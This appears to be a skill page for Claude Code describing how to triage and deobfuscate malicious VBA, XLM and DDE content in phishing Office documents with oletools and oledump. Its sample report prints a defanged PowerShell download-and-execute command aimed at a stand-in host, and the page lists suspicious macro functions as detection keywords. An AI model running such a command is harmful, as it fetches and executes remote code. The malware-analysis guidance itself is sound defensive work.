关于 analyzing-macro-malware-in-office-documents
面向安全团队的恶意软件分析技能,用于调查可疑 Office 文档,尤其是钓鱼附件。涵盖宏初筛、提取与反混淆,并检查其他基于文档的攻击方式。
主要功能
- 01初筛 Office 文档内容
- 02提取并分析 VBA 代码
- 03对宏代码进行反混淆
- 04检查 Excel 4.0 宏
- 05检查 DDE 和远程模板
- 06整理分析结果
适用场景
- 01调查可疑的 .docm 附件
- 02追踪宏下载和执行载荷的过程
- 03从钓鱼文档中识别指标
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill analyzing-macro-malware-in-office-documents安装后在 Claude Code 中输入/analyzing-macro-malware-in-office-documents确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
分析 Office 文档中的宏恶意软件
适用场景
- 可疑的 Office 文档(.doc、.docm、.xls、.xlsm、.ppt)被电子邮件安全系统标记
- 调查通过恶意 Office 文档投递载荷的钓鱼活动
- 提取 VBA 宏代码,以识别载荷下载 URL 和执行方式
- 分析经过混淆的 VBA 代码,以了解完整攻击链
- 判断文档是否使用 DDE、ActiveX 或远程模板注入,而非宏
不要用于分析非宏类 Office 威胁(DDE、远程模板注入);虽然本技能涵盖这些威胁的检测,但可能需要进行专门分析。
先决条件
- 安装了 oletools 的 Python 3.8+(
pip install oletools) - Didier Stevens 提供的 oledump.py(https://blog.didierstevens.com/programs/oledump-py/)
- 未安装 Microsoft Office 的隔离分析虚拟机(防止意外执行)
- 用于分析 Excel 4.0 宏的 XLMDeobfuscator(pip install xlmdeobfuscator)
- 用于安全呈现文档的 LibreOffice(默认不会执行 VBA 宏)
工作流
第 1 步:初步文档筛查
判断文档是否包含宏或其他活动内容:
# Quick triage with olevba
olevba suspect.docm
# Check for OLE streams and macros
oleid suspect.docm
# Output indicators:
# VBA Macros: True/False
# XLM Macros: True/False
# External Relationships: True/False (remote template)
# ObjectPool: True/False (embedded objects)
# Flash: True/False (SWF objects)
# Comprehensive OLE analysis
oledump.py suspect.docm
# List all OLE streams with macro indicators
# Streams marked with 'M' contain VBA macros
# Streams marked with 'm' contain macro attributes
第 2 步:提取并分析 VBA 代码
提取完整的 VBA 宏源代码:
# Extract VBA with full deobfuscation
olevba --decode --deobf suspect.docm
# Extract just the VBA source code
olevba --code suspect.docm > extracted_vba.txt
# Detailed extraction with oledump
oledump.py -s 8 -v suspect.docm # Stream 8 (adjust based on stream listing)
# Extract all macro streams
oledump.py -p plugin_vba_dco suspect.docm
Key VBA Elements to Identify:
━━━━━━━━━━━━━━━━━━━━━━━━━━━
Auto-Execution Triggers:
- Auto_Open / AutoOpen (Word)
- Auto_Close / AutoClose
- Document_Open / Document_Close
- Workbook_Open (Excel)
- AutoExec
Suspicious Functions:
- Shell() / Shell.Application
- WScript.Shell.Run / Exec
- CreateObject("WScript.Shell")
- PowerShell execution
- URLDownloadToFile
- MSXML2.XMLHTTP (HTTP requests)
- ADODB.Stream (file writing)
- Environ() (environment variables)
- CallByName (indirect method calls)
第 3 步:反混淆 VBA 代码
移除混淆层以揭示载荷:
# VBA deobfuscation techniques
import re
def deobfuscate_vba(code):
# 1. Resolve Chr() calls: Chr(104) & Chr(116) -> "ht"
def resolve_chr(match):
try:
return chr(int(match.group(1)))
except:
return match.group(0)
code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)
# 2. Remove string concatenation: "htt" & "p://" -> "http://"
code = re.sub(r'"\s*&\s*"', '', code)
# 3. Resolve ChrW calls: ChrW(104)
code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
# 4. Resolve StrReverse: StrReverse("exe.daolnwod") -> "download.exe"
def resolve_reverse(match):
return '"' + match.group(1)[::-1] + '"'
code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)
# 5. Remove Mid$/Left$/Right$ obfuscation (complex, mark for manual review)
# 6. Resolve Replace(): Replace("Powxershxell", "x", "")
def resolve_replace(match):
original = match.group(1)
find = match.group(2)
replace_with = match.group(3)
return '"' + original.replace(find, replace_with) + '"'
code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)
return code
with open("extracted_vba.txt") as f:
vba_code = f.read()
deobfuscated = deobfuscate_vba(vba_code)
print(deobfuscated)
第 4 步:分析 Excel 4.0(XLM)宏
处理可绕过 VBA 检测的旧版 Excel 宏:
# Detect XLM macros
olevba --xlm suspect.xlsm
# Deobfuscate XLM macros
xlmdeobfuscator -f suspect.xlsm
# Manual XLM analysis with oledump
oledump.py suspect.xlsm -p plugin_biff.py
# XLM (Excel 4.0) macro functions to watch for:
# EXEC() - Execute shell command
# CALL() - Call DLL function
# REGISTER() - Register DLL function
# URLDownloadToFileA - Download file
# ALERT() - Display message (social engineering)
# HALT() - Stop execution
# GOTO() - Control flow
# IF() - Conditional execution
第 5 步:检查非宏攻击途径
检查文档中的 DDE、远程模板和嵌入对象:
# Check for DDE (Dynamic Data Exchange)
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if name.endswith('.xml') or name.endswith('.rels'):
content = z.read(name).decode('utf-8', errors='ignore')
# DDE field codes
if 'DDEAUTO' in content or 'DDE ' in content:
print(f'[!] DDE found in {name}')
dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
for m in dde_match:
print(f' Command: {m}')
# Remote template
if 'attachedTemplate' in content or 'Target=' in content:
urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
for url in urls:
print(f'[!] Remote template URL: {url}')
"
# Check for embedded OLE objects
oledump.py -p plugin_msg.py suspect.docm
# Check relationships for external references
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if '.rels' in name:
content = z.read(name).decode('utf-8', errors='ignore')
if 'http' in content.lower() or 'ftp' in content.lower():
print(f'External reference in {name}:')
import re
urls = re.findall(r'Target=\"([^\"]+)\"', content)
for url in urls:
print(f' {url}')
"
第 6 步:生成分析报告
记录完整的宏恶意软件分析过程:
Report should include:
- Document metadata (author, creation date, modification date)
- Macro presence and type (VBA, XLM, DDE, remote template)
- Auto-execution trigger identified
- Deobfuscated VBA source code (key functions)
- Download URL(s) for second-stage payloads
- Execution method (Shell, WScript, PowerShell, COM object)
- Social engineering lure description
- Extracted IOCs (URLs, domains, IPs, file hashes)
- YARA rule for the specific document pattern
核心概念
| 术语 | 定义 |
|---|---|
| VBA 宏 | 嵌入 Office 文档中的 Visual Basic for Applications 代码,可与操作系统交互、下载文件并执行命令 |
| Auto_Open | Word 文档打开时自动执行的 VBA 事件过程,是宏恶意软件的主要触发方式 |
| OLE(对象链接与嵌入) | Microsoft 复合文档格式;Office 文档是 OLE 容器,其流中可包含宏和对象 |
| DDE(动态数据交换) | 一种被滥用于在文档中执行命令的旧版 Windows IPC 机制,无需宏;由字段代码更新触发 |
| 远程模板注入 | 文档打开时从远程 URL 加载支持宏的模板,以绕过初始宏检测的攻击方式 |
| XLM 宏(Excel 4.0) | 早于 VBA 的旧版 Excel 宏语言;存储在隐藏工作表中,传统 VBA 分析工具常会漏检 |
| 受保护视图 | Office 沙盒;在用户点击“启用内容”之前会阻止宏执行。社会工程攻击会针对这一防护屏障 |
工具与系统
- oletools (olevba):用于分析 OLE 文件、提取 VBA 宏并检测可疑关键字和 IOC 的 Python 工具包
- oledump.py:Didier Stevens 开发的 OLE 流分析工具,支持用于 VBA 解压和提取的插件
- XLMDeobfuscator:专门用于反混淆 Excel 4.0(XLM)宏公式的工具
- ViperMonkey:VBA 模拟引擎,可在沙盒环境中执行 VBA 宏以观察其行为
- YARA:使用 VBA 字符串模式和 OLE 结构特征进行基于模式匹配的文档恶意软件检测
常见场景
场景:分析带有混淆 VBA 宏的钓鱼文档
背景:多名员工收到了一封电子邮件,附件是一个声称为发票的 .docm 文件。文档提示用户“启用内容”以查看完整文档。
方法:
- 运行 oleid,确认存在 VBA 宏并识别自动执行触发器
- 使用 olevba --decode --deobf 提取 VBA 代码,进行初步反混淆
- 找出自动执行入口点(Auto_Open 或 Document_Open)
- 从入口点开始追踪经过辅助函数的执行流程
- 对字符串拼接和 Chr() 编码进行反混淆,找出下载 URL
- 识别下载方式(WScript.Shell、MSXML2.XMLHTTP、PowerShell)
- 提取所有 IOC,并针对特定混淆模式创建 YARA 规则
注意事项:
- 为了“快速分析”而在 Microsoft Office 中打开文档,而不是使用命令行工具
- 遗漏存储在 UserForms 中的 VBA 代码(图形界面元素可能在其事件处理程序中包含代码)
- 忽略可能包含攻击者特征信息的文档元数据(作者姓名、模板名称)
- 未检查同一文档中是否同时存在 VBA 和 XLM 宏(某些恶意软件会同时使用两者)
输出格式
OFFICE MACRO MALWARE ANALYSIS
================================
Document: invoice_q3_2025.docm
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
File Type: Microsoft Word Document (OOXML with macros)
Author: Administrator
Creation Date: 2025-09-10 14:23:00
MACRO ANALYSIS
Type: VBA Macro
Trigger: AutoOpen()
Streams: 3 VBA streams (ThisDocument, Module1, Module2)
DEOBFUSCATED EXECUTION CHAIN
1. AutoOpen() -> Calls Module1.RunPayload()
2. RunPayload() builds command string via Chr() concatenation
3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. Decoded: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')
SOCIAL ENGINEERING LURE
- Document displays fake "Protected Document" image
- Instructs user to "Enable Content" to view the document
- Content is blurred/hidden until macros execute
EXTRACTED IOCs
Download URL: hxxp://evil[.]com/payload.ps1
C2 Domain: evil[.]com
IP Address: 185.220.101[.]42
User-Agent: PowerShell (default WebClient)
MITRE ATT&CK
T1566.001 Phishing: Spearphishing Attachment
T1204.002 User Execution: Malicious File
T1059.001 Command and Scripting Interpreter: PowerShell
T1059.005 Command and Scripting Interpreter: Visual Basic
评论
支持 Markdown